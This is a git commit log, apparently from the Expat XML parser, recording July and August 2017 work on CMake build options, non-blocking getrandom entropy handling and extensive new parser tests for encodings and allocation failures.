Sebastian Pipping dfbf4a9bb1 Makefile.in: Extract targets related to xmlwf 2017-08-11 22:16:06 +02:00
Sebastian Pipping d35536d03a Changes: Make list of names alphabetical again 2017-08-11 14:43:33 +02:00
Sebastian Pipping 74a7090a6e xmltok.c: Avoid copying of partial characters for UTF-8 input (#115)
Also make use of memcpy
Second take
2017-08-11 13:07:52 +02:00
Sebastian Pipping 58ec47bbc8 Merge branch 'DerDakon-cmake-cleanup' (pull request #114) 2017-08-07 20:53:50 +02:00
Sebastian Pipping 758b6d6047 Changes: Document #114 2017-08-07 20:52:28 +02:00
Rolf Eike Beer 764f79bc04 CMake: always honor manually set BUILD_* options
Figure out if the option should be enabled or disabled by default, but
unconditionally use it if it is set.
2017-08-07 20:40:45 +02:00
Rolf Eike Beer 3d6700dd41 CMake: drop linker flag setting
CMake propagates the normal compiler flags also to the linker, one would only
need this for special linker-only flags.
2017-08-07 20:16:45 +02:00
Rolf Eike Beer 27203d8df9 CMake: properly search and announce libbsd support 2017-08-07 20:16:45 +02:00
Sebastian Pipping 880b4dad20 Changes: Document fix to #74
Related commit:
45a9b99af9
2017-08-06 20:39:14 +02:00
Sebastian Pipping 019217d669 Merge branch 'DerDakon-cmake-detect' (pull request #107) 2017-08-06 18:08:36 +02:00
Sebastian Pipping 5e3dca6a6c Changes: Document fix to #43 2017-08-06 18:06:24 +02:00
Sebastian Pipping b6bb651e15 expat_config.h.cmake: Replace misleading header 2017-08-06 17:59:50 +02:00
Rolf Eike Beer 72b538f2a7 CMake: add option for /dev/urandom availability 2017-08-05 22:23:59 +02:00
Rolf Eike Beer dc9c4d454a CMake: detect the presence of entropy functions 2017-08-05 22:23:59 +02:00
Rolf Eike Beer 45a9b99af9 CMake: set -fno-strict-aliasing only if the compiler supports it 2017-08-05 15:05:51 +02:00
Sebastian Pipping 65fb9a0406 Merge branch 'jwilk-forks-spelling' (pull request #111) 2017-08-04 21:31:50 +02:00
Sebastian Pipping e57bf75a79 Changes: Document #111 2017-08-04 21:31:12 +02:00
Jakub Wilk 082bfac512 Fix typos 2017-08-03 22:50:03 +02:00
Sebastian Pipping d98d439917 Merge branch 'unsigned-char' (pull request #109) 2017-08-03 21:35:31 +02:00
Sebastian Pipping 791d1b3f0a Changes: Document changes related to #109 2017-08-03 21:35:09 +02:00
Joe Orton d1f7f7bbd0 Fix tests for both x86 and non-x86. (#109) 2017-08-03 21:35:03 +02:00
Sebastian Pipping 7045b040ac tests/minicheck.c: Improve error message display 2017-08-03 21:24:57 +02:00
Sebastian Pipping ac2c26a161 coverage.sh: Cover -funsigned-char for #109 2017-08-03 21:11:37 +02:00
Sebastian Pipping 97c6bd0199 Prepare release version 2.2.3 2017-08-02 15:40:48 +02:00
Sebastian Pipping e5470ee885 Bump version info bumped from 7:4:6 to 7:5:6 2017-08-02 15:40:46 +02:00
Sebastian Pipping 642ec44e7b runtests.c: Catch some failure to bump XML_*_VERSION 2017-08-02 15:40:38 +02:00
Sebastian Pipping e5eb04b373 Changes: Document issues #4 #5 #7 #86
.. and extend credits
2017-08-02 15:01:47 +02:00
Sebastian Pipping cccadcc20d Changes: Document check for convert function
Related commit: fc06a529a3
2017-08-02 13:38:41 +02:00
Sebastian Pipping cf5c6ffded loadlibrary.c: Address -Wempty-translation-unit 2017-08-02 13:34:46 +02:00
Sebastian Pipping 76752b486c Merge branch 'notroj-master' (pull request #104) 2017-08-02 12:00:50 +02:00
Joe Orton a5e20f5bc9 Expand buffer size to avoid GCC 7.x warning. 2017-08-02 08:49:20 +01:00
Sebastian Pipping 17d2f6bcd5 doc/xmlwf.xml: Fix mis-leading description of -c 2017-07-31 22:19:57 +02:00
Sebastian Pipping 9a22ff7879 Changes: Mention CVE-2017-11742 2017-07-30 15:53:42 +02:00
Sebastian Pipping 74fba52a91 Changes: Re-order/classify items for in-the-making release 2017-07-29 23:23:11 +02:00
Sebastian Pipping fd9581a34e Never require XML_POOR_ENTROPY for "./configure && make"
.. as XML_POOR_ENTROPY was intended to catch _accidental_
compilation with no provider of high quality entropy
enabled for _non-Autoconf_ build systems from the start.
2017-07-29 21:38:42 +02:00
Sebastian Pipping 251b1776a7 README.md: Make link to COPYING work for the front page. 2017-07-29 16:27:36 +02:00
Sebastian Pipping 36437bf940 Merge branch 'readme-markdown' 2017-07-29 16:25:10 +02:00
Sebastian Pipping d1b75ec35e README.md: Add note on limitation of -fshort-wchar 2017-07-29 16:23:46 +02:00
Sebastian Pipping cd254f183a README.md: Add links 2017-07-29 16:21:39 +02:00
Sebastian Pipping 797e55251d README.md: Reflect present 2017-07-29 16:21:39 +02:00
Sebastian Pipping d44ba5e7f9 README.md: Fix reference to Makefile 2017-07-29 16:21:39 +02:00
Sebastian Pipping da70f7af4d Migrate README to Markdown 2017-07-29 16:21:39 +02:00
Sebastian Pipping 7672f1ce96 Merge branch 'windows-curl-load-library' (pull request #101) 2017-07-29 15:26:10 +02:00
Sebastian Pipping ce5f210785 Merge branch 'nonblock-fail-getrandom' (pull request #92) 2017-07-29 15:17:10 +02:00
Rhodri James d6bda1f97f runtests.c: Turn #defines into consts (#103)
The loop limit of the various test_alloc_* and test_nsalloc_*
functions were given as #defined constanst.  These have been turned
into const constants to give the compiler a better chance with them.
2017-07-29 13:56:44 +02:00
Sebastian Pipping 6a8267696c Merge branch 'coverage-no-context' (pull request #102) 2017-07-27 19:55:14 +02:00
Rhodri James 111bfd79b8 Use named constant for magic number in external_entity_dbl_handler 2017-07-27 15:02:31 +01:00
Rhodri James a8a79811d7 Use named constant for magic number in external_entity_duff_loader 2017-07-27 14:48:41 +01:00
Rhodri James f95017d540 Use named constant for magic number in test_..._parser_with_encoding() 2017-07-27 14:46:41 +01:00
Rhodri James f1757d0269 Use named constant for magic number in test_misc_alloc_create_parser() 2017-07-27 14:45:42 +01:00
Rhodri James a9332c0b45 Make test_alloc_long_notation() robust vs allocation pattern changes. 2017-07-27 14:39:32 +01:00
Rhodri James d43cbb8b4c Make test_alloc_long_entity_value() robust vs allocation changes 2017-07-27 14:30:52 +01:00
Rhodri James 9e8311f127 Make test_alloc_long_public_id() robust vs allocation pattern changes 2017-07-27 14:29:44 +01:00
Rhodri James 075aa7c179 Make test_alloc_long_base() robust vs allocation pattern changes 2017-07-27 14:28:31 +01:00
Rhodri James a7ae0fc804 Make test_alloc_long_doc_name() robust vs allocation pattern changes 2017-07-27 14:25:27 +01:00
Rhodri James 85df01d9e0 Make test_alloc_realloc_attributes() robust vs allocation changes 2017-07-27 14:24:28 +01:00
Rhodri James 165bfa94ef Make test_alloc_realloc_ce_extends_pe() robust vs allocation changes 2017-07-27 14:23:43 +01:00
Rhodri James a879906c08 Make test_alloc_realloc_param_entity_newline() robust vs allocations 2017-07-27 14:21:58 +01:00
Rhodri James 39bba875ef Make test_alloc_long_attr_value() robust vs allocation changes 2017-07-27 14:18:40 +01:00
Rhodri James 890efa6b33 Make test_alloc_long_attr_default_with_char_ref() robust vs allocs 2017-07-27 14:17:20 +01:00
Rhodri James 1bea11a178 Make test_alloc_attribute_predefined_entity() robust vs allocation 2017-07-27 14:15:16 +01:00
Rhodri James 88436b3723 Make test_alloc_attribute_whitespace() robust vs allocation changes 2017-07-27 14:12:48 +01:00
Rhodri James 2c15ac7594 Make test_alloc_realloc_long_attribute_value() robust vs allocations 2017-07-27 14:09:07 +01:00
Rhodri James 8311f7ad7a Make test_alloc_comment_in_epilog() robust vs allocation changes 2017-07-27 14:08:06 +01:00
Rhodri James 32c2572747 Make test_alloc_pi_in_epilog() robust vs allocation pattern changes 2017-07-27 14:06:41 +01:00
Rhodri James 53d8f0a228 Make test_alloc_realloc_group_choice() robust vs allocation changes 2017-07-27 14:02:49 +01:00
Rhodri James 1ca22526c9 Make test_alloc_large_group() robust vs allocation pattern changes 2017-07-27 14:02:03 +01:00
Rhodri James 50d59d0d44 Make test_alloc_realloc_nested_groups() robust vs allocation changes 2017-07-27 13:56:43 +01:00
Rhodri James 4dcb57a98e make test_alloc_nested_groups() robust vs allocation pattern changes 2017-07-27 13:55:43 +01:00
Rhodri James dc972ae067 Make test_alloc_system_notation() robust vs allocation changes 2017-07-27 13:50:19 +01:00
Rhodri James ec11c8924d Make test_alloc_public_notation() robust vs allocation pattern changes 2017-07-27 13:49:22 +01:00
Rhodri James 4722c718d0 Make test_alloc_notation() robust vs allocation pattern changes 2017-07-27 13:48:08 +01:00
Rhodri James cef76908df Make test_alloc_realloc_default_attribute() robust vs allocation 2017-07-27 13:47:08 +01:00
Rhodri James 513ee03ffd Make test_alloc_realloc_implied_attribute() vs allocation changes 2017-07-27 13:45:47 +01:00
Rhodri James f2389b38b1 Make test_alloc_realloc_attribute_enum_value() robust vs allocations 2017-07-27 13:44:34 +01:00
Rhodri James 5013e2f65d Make test_alloc_attribute_enum_value() robust vs allocation changes 2017-07-27 13:41:02 +01:00
Rhodri James 70b8a15efc Make test_alloc_set_foreign_dtd() robust vs allocation pattern changes 2017-07-27 13:39:48 +01:00
Rhodri James 37b3f303bf Make test_alloc_parse_public_doctype_long_name() robust vs allocation 2017-07-27 13:37:48 +01:00
Rhodri James d75ac6bac2 Make test_alloc_parse_public_doctype() robust vs allocation changes 2017-07-27 13:35:48 +01:00
Rhodri James f82f7bf613 Make test_alloc_realloc_subst_public_entity_value() robust vs allocation 2017-07-27 13:30:42 +01:00
Rhodri James b2eac2615f Make test_alloc_public_entity_value() robust vs allocation changes 2017-07-27 13:29:26 +01:00
Rhodri James 8ab97e4a96 Make test_alloc_realloc_many_attributes() robust vs allocations 2017-07-27 13:21:56 +01:00
Rhodri James 11739c13da Make test_alloc_ext_entity_realloc_buffer() robust vs allocations 2017-07-27 13:20:42 +01:00
Rhodri James 7c18d7f948 Make test_alloc_realloc_buffer() robust vs allocation pattern changes 2017-07-27 13:16:13 +01:00
Rhodri James d3c7a77638 Use named constant for magic number in test_alloc_set_base() 2017-07-27 13:11:48 +01:00
Rhodri James 75e29a7191 Use named constant for magic number in test_alloc_explicit_encoding() 2017-07-27 13:09:54 +01:00
Rhodri James 4861cf1c48 Make test_alloc_dtd_default_handling() robust vs allocation changes 2017-07-27 13:04:58 +01:00
Rhodri James 53a311d4dc Make test_alloc_internal_entity() robust vs allocation pattern changes 2017-07-27 13:02:44 +01:00
Rhodri James 12b3aa4fc9 test_alloc_ext_entity_set_encoding() robust vs allocation changes 2017-07-27 12:57:58 +01:00
Rhodri James 34c8a1d904 Make test_alloc_external_entity() robust vs allocation pattern changes 2017-07-27 12:57:58 +01:00
Rhodri James fce16d1b9f Refactor test_alloc_run_external_parser() 2017-07-27 12:57:46 +01:00
Rhodri James 21b1bb4c6f Make test_alloc_parse_comment_2() robust vs allocation pattern changes 2017-07-27 12:18:47 +01:00
Rhodri James 641e47bb34 Make test_alloc_parse_comment() robust vs allocation pattern changes 2017-07-27 12:17:15 +01:00
Rhodri James 2394d4df53 Make test_alloc_parse_pi_3 robust vs allocation pattern changes 2017-07-27 12:14:22 +01:00
Rhodri James 6c68d5f3e1 Make test_alloc_parse_pi_2() robust vs allocation pattern changes 2017-07-27 12:10:00 +01:00
Rhodri James 001795e298 Make test_alloc_parse_pi() robust vs allocation pattern changes 2017-07-27 12:05:58 +01:00
Rhodri James d16a581849 Remove memory leak in external_entity_optioner() 2017-07-27 11:50:15 +01:00
Sebastian Pipping e14ac97907 Changes: Document changes to call of getrandom 2017-07-26 20:41:37 +02:00
Sebastian Pipping 55839b633f xmlparse.c: Read /dev/urandom if non-blocking getrandom failed
This is in line with what recent Python does:

1) Calling getrandom with GRND_NONBLOCK
https://github.com/python/cpython/blob/1abcf6700b4da6207fe859de40c6c1bada6b4fec/Python/bootstrap_hash.c#L594

2) Reading /dev/urandom if getrandom failed
https://github.com/python/cpython/blob/1abcf6700b4da6207fe859de40c6c1bada6b4fec/Python/bootstrap_hash.c#L503
2017-07-26 20:41:37 +02:00
Sebastian Pipping cfd6b138d6 xmlparse.c: Rename writeRandomBytes_getrandom to ..._nonblock
.. to better communicate the nature of that function
2017-07-26 20:35:52 +02:00
Chanho Park e081e04ea0 Use GRND_NONBLOCK of getrandom call
Since the getrandom syscall patch(f356fb56fb Detect and support
syscall(SYS_getrandom, [..]) as well), some arm machine stuck during
systemd boot because the dbus uses the expat library and it hangs
inside the writeRandomBytes_getrandom function. Without the
GRND_NONBLOCK flag, the kernel will wait until the nonblocking_pool has
been initialized(See the getrandom syscall of the
linux/drivers/char/random.c). To prevent the blocking, we can add the
GRND_NONBLOCK flag and omit the comparison of the EAGAIN return.

Signed-off-by: Chanho Park <chanho61.park@samsung.com>
2017-07-26 20:35:52 +02:00
Rhodri James ebe390bab0 Make test_alloc_parse_xdecl_2() robust vs allocation pattern changes 2017-07-26 18:56:37 +01:00
Rhodri James 52970d4a53 Make test_alloc_parse_xdecl() robust vs allocation pattern changes 2017-07-26 18:56:37 +01:00
Rhodri James b08aa8500e Make test_nsalloc_prefixed_element() robust vs allocation changes 2017-07-26 18:56:37 +01:00
Rhodri James 69e781f06d Make test_nsalloc_long_systemid_in_ext() robust
Makes test more predictable in the face of changing memory
allocation patterns in the library.
2017-07-26 18:56:37 +01:00
Rhodri James 3871e6dc4b Make test_nsalloc_long_default_in_ext() robust.
Makes test more predictable in the face of changes to the memory
allocation patterns in the library.
2017-07-26 18:56:37 +01:00
Rhodri James ebbc2c1517 Make test_nsalloc_realloc_long_context_in_dtd() robust.
Makes test more predictable in the face of changes in the pattern
of memory allocations inside the library.
2017-07-26 18:56:37 +01:00
Rhodri James a058960647 Make test_nsalloc_realloc_long_ge_name() robust.
Make test robust against memory allocation pattern changes
2017-07-26 18:56:37 +01:00
Rhodri James 0b1fbcfba5 Make context reallocation tests robust vs allocation pattern changes 2017-07-26 18:56:26 +01:00
Rhodri James bc941d32c1 Make test_nsalloc_long_context() robust vs allocation pattern changes 2017-07-26 18:10:16 +01:00
Rhodri James 771bc86bb1 Make test_nsalloc_less_long_namespace() robust vs allocation changes 2017-07-26 18:08:40 +01:00
Rhodri James 7bb6261950 Make test_nsalloc_long_namespace() robust vs allocation pattern changes 2017-07-26 18:06:46 +01:00
Rhodri James c2084de48d Make test_nsalloc_realloc_longer_prefix_count() robust.
Remove test's vulnerability to changing memory allocation patterns
2017-07-26 18:01:53 +01:00
Rhodri James a74053cf48 Make test_nsalloc_realloc_long_prefix() robust vs allocation changes 2017-07-26 18:00:40 +01:00
Rhodri James b3853fee79 Make test_nsalloc_long_element() robust vs allocation pattern changes 2017-07-26 17:56:51 +01:00
Rhodri James c39b9a194b Make test_nsalloc_realloc_attributes() robust vs allocation changes 2017-07-26 17:55:15 +01:00
Rhodri James 49143cb2fe Make test_nsalloc_long_attr_prefix() robust vs allocation pattern changes 2017-07-26 17:49:21 +01:00
Rhodri James 969031fe44 Make test_nsalloc_long_attr() robust vs allocation pattern changes 2017-07-26 17:47:48 +01:00
Rhodri James 5b81b5045a Make test_nsalloc_long_uri() robust vs allocation pattern changes 2017-07-26 17:45:50 +01:00
Rhodri James d705676056 Make test_nsalloc_long_prefix() robust vs allocation pattern changes 2017-07-26 17:42:03 +01:00
Rhodri James 1aa5529cf4 Make test_nsalloc_xmlns() robust vs changes in allocation patterns.
Most of the allocation tests use some complicated logic to ensure
that cached memory allocations do not cause the test to miss out
some possible allocation failure paths.  A more robust way to do
that is to free and recreate the parser, avoiding caching
altogether.  This should be done with the test case section
teardown and setup routines, so that the right sort of parser is
created.  This is the first in a series of commits to switch over
to this test structure
2017-07-26 17:33:10 +01:00
Sebastian Pipping bf5f74cb5b Changes: Mention increase in code coverage 2017-07-26 15:53:48 +02:00
Sebastian Pipping 3e63f6c438 Rename Curl_load_library to _Expat_LoadLibrary
.. to avoid symbol collisions
2017-07-26 15:19:45 +02:00
Sebastian Pipping 6ea9606489 xmlparse.c: Use Curl_load_library 2017-07-26 15:07:49 +02:00
Sebastian Pipping 931697b9b8 Integrate loadlibrary.c into build systems 2017-07-26 15:03:55 +02:00
Sebastian Pipping 3c6c0b7ba9 loadlibrary.c: Strip down, make ready to use 2017-07-26 15:02:39 +02:00
Sebastian Pipping c9951a41ce loadlibrary.c: Inline copyright notice
using text from
https://raw.githubusercontent.com/curl/curl/7fc0e1dfc475930eada0180ee552f7b6deb3f04e/COPYING

postprocessed with `par-format 73j | sed 's,^, * ,'`.
2017-07-26 15:02:15 +02:00
Sebastian Pipping d1751bb60e Add unmodified system_win32.c of cURL as lib/loadlibrary.c
Exact revision / source:
https://github.com/curl/curl/raw/f7df67cff0a756eefc8daea36e6468df694a43d0/lib/system_win32.c
2017-07-26 15:02:15 +02:00
Sebastian Pipping 71bb94f591 runtests.c: Address MinGW compile warnings 2017-07-26 15:00:17 +02:00
Sebastian Pipping 6f4858c057 Merge branch 'vadz-SIPHASH_MAIN-warn-fix' (pull request #100) 2017-07-25 20:12:59 +02:00
Sebastian Pipping 27eaebc409 Document fix to use of SIPHASH_MAIN macro 2017-07-25 19:46:47 +02:00
Rhodri James 5d65aa7fdf Fix spelling of "namespace allocation tests" 2017-07-25 15:18:52 +01:00
Vadim Zeitlin 01a5c39218 Check for possibly undefined SIPHASH_MAIN using #ifdef
"#if SIPHASH_MAIN" results in -Wundef warning with recent gcc/clang and
this change suppresses it.
2017-07-25 16:17:31 +02:00
Sebastian Pipping 9a1ede8d14 Address warning about unused gather_time_entropy (#84)
.. with HAVE_ARC4RANDOM and/or HAVE_ARC4RANDOM_BUF defined
2017-07-25 00:59:20 +02:00
Rhodri James 7eb3cbcec6 Check UTF-16 endianness matches (Issue #86)
When an XML declaration specifies a UTF-16 encoding, check that
the endianness matches what the parser has already deduced.
2017-07-25 00:30:40 +02:00
Sebastian Pipping 611bf03530 Merge branch 'coverage' 2017-07-22 23:34:06 +02:00
Sebastian Pipping 9c9b41f7a3 runtests.c: Fix memleaks 2017-07-22 23:32:28 +02:00
Rhodri James fe1adcaa84 Comment change: exclude error() role handler from coverage 2017-07-22 22:49:22 +02:00
Rhodri James 17243b79c3 Test NOTATION marked SYSTEM but with no ID 2017-07-22 22:49:22 +02:00
Rhodri James 9940f71578 Test parameter entity marked SYSTEM but with no ID 2017-07-22 22:49:21 +02:00
Rhodri James 7d4bb8631d Test parameter entity marked PUBLIC but with no ID 2017-07-22 22:49:21 +02:00
Rhodri James 5596cbbbcc Test parameter entity with invalid keyword (not SYSTEM or PUBLIC) 2017-07-22 22:49:21 +02:00
Rhodri James 81a3f2f73f Test Entity declaration marked PUBLIC with no ID 2017-07-22 22:49:21 +02:00
Rhodri James e5c61fed18 Test that Doctype with an extra ID is rejected 2017-07-22 22:49:21 +02:00
Rhodri James cb16ead042 Test Doctype marked SYSTEM but with no ID is rejected 2017-07-22 22:49:21 +02:00
Rhodri James b78b96f6df Test Doctype marked PUBLIC but with no ID is rejected 2017-07-22 22:49:21 +02:00
Rhodri James 5bbc983e7d Test overly brief doctype is rejected 2017-07-22 22:49:21 +02:00
Rhodri James 63dc602a12 Comment change: exclude unreachable case in prolog1 2017-07-22 22:49:21 +02:00
Rhodri James 069a0da15c Extend UTF-16 LE entity test to hex entities 2017-07-22 22:49:21 +02:00
Rhodri James ff20944a1a Extend UTF-16 BE entity test to hex entities 2017-07-22 22:49:21 +02:00
Rhodri James c3963ec9a1 Test that comments are picked up from UTF-16 little-endian 2017-07-22 22:49:21 +02:00
Rhodri James 0275ef9330 Test that comments are picked up from UTF-16 big-endian 2017-07-22 22:49:21 +02:00
Rhodri James 16c9fa852f Test public external parameter entity in UTF-16 little-endian 2017-07-22 22:49:21 +02:00
Rhodri James 19d4c9e2c3 Test public external param entity in UTF-16 big-endian 2017-07-22 22:49:21 +02:00
Rhodri James eee8ad3e33 Test ignore section in UTF-16 big-endian encoding 2017-07-22 22:49:21 +02:00
Rhodri James 9032ba09e8 Test CDATA is passed correctly from little-endian UTF-16 input 2017-07-22 22:49:21 +02:00
Rhodri James 15261c078c Test entity substitution in attributes, UTF-16 little endian 2017-07-22 22:49:21 +02:00
Rhodri James 3536d8749a Test entity substitution in attributes UTF-16 big-endian 2017-07-22 22:49:21 +02:00
Rhodri James 950382c0c1 Test PI in big-endian UTF-16 2017-07-22 22:49:20 +02:00
Rhodri James 3c8d9300f6 Comment change: exclude unreachable line from coverage figures 2017-07-22 22:49:20 +02:00
Rhodri James 7979e831ed Comment change: exclude sameName from coverage 2017-07-22 22:49:20 +02:00
Rhodri James a35f012501 Test entities with similar names to predefined entity are rejected 2017-07-22 22:49:20 +02:00
Rhodri James 80945fba17 Test invalid character reference with a decimal value
Previous limit test used hexed, which has a difference parse path.
2017-07-22 22:49:20 +02:00
Rhodri James fc25cfd750 Test IGNORE rejection with an unknown encoding 2017-07-22 22:49:20 +02:00
Rhodri James 0df93c5619 Test IGNORE section with UTF-16 data 2017-07-22 22:49:20 +02:00
Rhodri James 8be7b89885 Comment change: exclude paranoia check from coverage 2017-07-22 22:49:20 +02:00
Rhodri James 36e47058dc Comment change: exclude paranoia check from coverage 2017-07-22 22:49:20 +02:00
Rhodri James c53aba8bf7 Test multi-byte characters in ATTLIST default attribute value 2017-07-22 22:49:20 +02:00
Rhodri James ca1cb78164 Fix error messages in test_bad_doctype_* tests 2017-07-22 22:49:20 +02:00
Rhodri James c73e63de42 Test document name of "1?" is rejected in doctype declaration 2017-07-22 22:49:20 +02:00
Rhodri James 61db6a8a93 Test document name of "1*" is rejected in a doctype declaration 2017-07-22 22:49:20 +02:00
Rhodri James bb60b30a68 Test document name of "1+" is rejected in doctype
Following a codepath that requires a character valid in a name but
not at the start (or '-' or ':') followed by a '+'
2017-07-22 22:49:20 +02:00
Rhodri James b003c9fea5 Test two colons in the document name in a doctype is rejected 2017-07-22 22:49:20 +02:00
Rhodri James b93735f15b Test invalid character in document local name is faulted 2017-07-22 22:49:20 +02:00
Rhodri James 1346f5cd74 Test UTF-16 non-zero high byte characters in document local name
Tests DOCTYPE handling of non-ASCII characters leading the local
element (i.e. the part after the colon) of a document name
2017-07-22 22:49:20 +02:00
Rhodri James 32e023fca4 Test invalid UTF-16 characters in DOCTYPE 2017-07-22 22:49:20 +02:00
Rhodri James 301cf609ad Test invalid characters in a DOCTYPE 2017-07-22 22:49:20 +02:00
Rhodri James 330c9b298d Refactor: move element event handlers together 2017-07-22 22:49:20 +02:00
Rhodri James b9727a7c44 Test UTF-16 attribute description keyword with non-zero high bytes.
The #keyword consists of valid name-worthy characters, so is
rejected as a syntax error not an invalid token.
2017-07-22 22:49:20 +02:00
Rhodri James 63b215def5 Test attribute list with bad keyword starting with non-name character 2017-07-22 22:49:19 +02:00
Rhodri James 365a61e52d Test parameter entity with UTF-16 name with top bytes non-zero 2017-07-22 22:49:19 +02:00
Rhodri James 71a293259c Test that UTF-16 element local names with non-zero top byte are accepted 2017-07-22 22:49:19 +02:00
Rhodri James 2cde440699 Test that non-name characters after a colon in an element are rejected 2017-07-22 22:49:19 +02:00
Rhodri James 98c1385bba Test that more than one colon in an element name is rejected 2017-07-22 22:49:19 +02:00
Rhodri James 9f718ef37c Test that text after a / is faulted 2017-07-22 22:49:19 +02:00
Rhodri James c0593524ab Test second attribute with UTF-16 top byte non-zero is valid
This exercises a different code path to the first attribute
2017-07-22 22:49:19 +02:00
Rhodri James e4caa983df Test invalid character in attribute value is faulted 2017-07-22 22:49:19 +02:00
Rhodri James 303e6c5499 Test UTF-16 attribute names with non-zero top byte are accepted 2017-07-22 22:49:19 +02:00
Rhodri James 30b15c43b1 Test that non-name characters after a colon are rejected
I.e. test that leafnames have to be valid names
2017-07-22 22:49:19 +02:00
Rhodri James 45da5d094d Test more than one colon in an attribute name is rejected
I.e. test that namespaces don't nest
2017-07-22 22:49:19 +02:00
Rhodri James 2bb87d2586 Test attribute with high-byte-set UTF-16 character name 2017-07-22 22:49:19 +02:00
Rhodri James d14ba8e58c Test non-ASCII characters in entity names
Use UTF-16 character with value > 0x00ff for extra code coverage
2017-07-22 22:49:19 +02:00
Rhodri James bfbafbcef4 Test invalid character in a hex character reference 2017-07-22 22:49:19 +02:00
Rhodri James e597621187 Test trailing spaces in element names are ignored in start and end tags 2017-07-22 22:49:19 +02:00
Rhodri James 6ec40ff522 Test single stray ] doesn't close a CDATA section
Also uses multi-byte characters around the ] to exercise more code.
2017-07-22 22:49:19 +02:00
Rhodri James 7e7cb2c560 Test that UTF-8 safely passes through a CDATA section.
Specifically test that multi-byte characters are correctly tokenised
2017-07-22 22:49:19 +02:00
Rhodri James 4545eb67bb Test PI in UTF-16 with non-ASCII target name 2017-07-22 22:49:19 +02:00
Rhodri James caa0b46c6a Test PI with target of "xmm" 2017-07-22 22:49:19 +02:00
Rhodri James 9b1a9dd790 Test PI with a target of "xnl" 2017-07-22 22:49:19 +02:00
Rhodri James 1c6675e302 Test PI with a target of "yml" 2017-07-22 22:49:18 +02:00
Rhodri James 8380c39318 Refactor test_comment_handled_in_default()
Eliminates an unnecessary handler when we can use
accumulate_characters instead.
2017-07-22 22:49:18 +02:00
Rhodri James 6822bea985 Refactor test_pi_handled_in_default to use accumulate_characters() 2017-07-22 22:49:18 +02:00
Rhodri James 278545e976 Test unknown encoding handler in a parser with namespaces 2017-07-22 22:49:18 +02:00
Rhodri James 0940aa04ee Test unannounced UTF-16, no BOM, leading space to hide '<' 2017-07-22 22:49:18 +02:00
Rhodri James 431a7b30bc Test UTF-16 where UTF-8 is expected is rejected 2017-07-22 22:49:18 +02:00
Rhodri James 2f40b6d5fa Test UTF-16BE vs explicit UTF-16LE encoding 2017-07-22 22:49:18 +02:00
Rhodri James 6526fb993d Test UTF-8 character nearly the BOM (for code path coverage) 2017-07-22 22:49:18 +02:00
Rhodri James e0bcf3f674 Test UTF-16LE vs explicit UTF-16BE encoding 2017-07-22 22:49:18 +02:00
Rhodri James d4ce36970b Test UTF-16 BE BOM vs explicit Latin-1 encoding parsing a full buffer 2017-07-22 22:49:18 +02:00
Rhodri James 4f9f6651b7 Test UTF-16 big-endian BOM vs explicit Latin-1 encoding 2017-07-22 22:49:18 +02:00
Rhodri James afe76e8bbf Test UTF-16 BOM vs explicit latin-1 encoding parsing a full buffer 2017-07-22 22:49:18 +02:00
Rhodri James 8d6bb0fd1a Test UTF-16 BOM vs explicit latin-1 encoding 2017-07-22 22:49:18 +02:00
Rhodri James a2104666fb Test specifying a UTF-16 encoding when creating the parser works 2017-07-22 22:49:18 +02:00
Rhodri James 5aa3ead193 Test unknown encoding with 17-bit top-bit-set character is rejected 2017-07-22 22:49:18 +02:00
Rhodri James 9bd8391e2c Test top-bit-set character mimicking surrogate high is rejected 2017-07-22 22:49:18 +02:00
Rhodri James 67aabeb2b8 Test top-bit set character mimicking ASCII is rejected in encodings 2017-07-22 22:49:18 +02:00
Rhodri James a330a21859 Test unknown encoding with invalid multi-byte length field 2017-07-22 22:49:18 +02:00
Rhodri James 2ce358b203 More refactoring of unknown encoding handlers 2017-07-22 22:49:18 +02:00
Rhodri James 834eb92bdb Refactor to use encoding to switch UnknownEncoding handler behaviour 2017-07-22 22:49:17 +02:00
Rhodri James 36d8911ecb Test ASCII-like unknown encoding correctly rejects invalid characters 2017-07-22 22:49:17 +02:00
Rhodri James 0f950f4b9d Check that ASCII-like encoding is valid 2017-07-22 22:49:17 +02:00
Rhodri James 32ade2af40 Test unknown encoding not compatible with ASCII is rejected 2017-07-22 22:49:17 +02:00
Rhodri James a88c4cff6d Test unknown encoding conversion buffer overflow not on convert() 2017-07-22 22:49:17 +02:00
Rhodri James 186945d238 Test unknown encoding conversion buffer overflow on convert() 2017-07-22 22:49:17 +02:00
Rhodri James 8c4249685f Test bad non-start of name in unknown encoding 2017-07-22 22:49:17 +02:00
Rhodri James edc300c876 Test bad start of name with an unknown encoding 2017-07-22 22:49:17 +02:00
Rhodri James e8999ace2e Test converted start of name with unknown encoding 2017-07-22 22:49:17 +02:00
Rhodri James 7c11f77a03 Comment change: exclude more unreachable code from coverage 2017-07-22 22:49:17 +02:00
Rhodri James c0b7b55567 Test a valid (if odd) encoding 2017-07-22 22:49:17 +02:00
Rhodri James 6fd7365bfb Comment change: exclude unreachable condition from coverage 2017-07-22 22:49:17 +02:00
Rhodri James 19d0115623 Refactor to get rid of data/code pointer conversion warning 2017-07-22 22:49:17 +02:00
Rhodri James b2ba9d7911 Add test for encoding conversion function returning errors 2017-07-22 22:49:17 +02:00
Rhodri James fc06a529a3 Reject multi-byte encodings with no converter function.
Not supplying a character encoding convert function when one was
needed previously caused a segfault if a multi-byte character was
encountered.  This errors at the start of parse instead.
2017-07-22 22:49:17 +02:00
Rhodri James 63de667ed0 Add test of multi-byte encoding without a conversion function
At this commit, the tests seg fault
2017-07-22 22:49:17 +02:00
Rhodri James 69b864b9b1 Test XML declaration with missing value for 'standalone' attr 2017-07-22 22:49:17 +02:00
Rhodri James 5eafa10b6e Test XML declaration with missing attribute name 2017-07-22 22:49:17 +02:00
Rhodri James b358d47719 Check invalid characters at the end of an XML declaration 2017-07-22 22:49:17 +02:00
Rhodri James c2e90b3ebb Mark the second uppercasing in streqci() as unreacheable for coverage tests 2017-07-22 22:49:17 +02:00
Rhodri James 22bfe4f64d Extend test_utf16 to include a character encoded as 0xff?? 2017-07-22 22:49:17 +02:00
Rhodri James 9bb66e6699 Test that reversed UTF-16 surrogate pair in CDATA is rejected 2017-07-22 22:49:17 +02:00
Rhodri James b99565c356 Test that a long attribute in ASCII encoding is correctly converted 2017-07-22 22:49:17 +02:00
Rhodri James fddefa0680 Check latin1 char expanding to two bytes UTF-8 across a buffer boundary. 2017-07-22 22:49:16 +02:00
Rhodri James a0ee59bd14 Test four-byte UTF-8 character are rejected in names 2017-07-22 22:49:16 +02:00
Rhodri James 8f1346cdbe Add utility script file to tidy up after running coverage tests 2017-07-22 22:49:16 +02:00
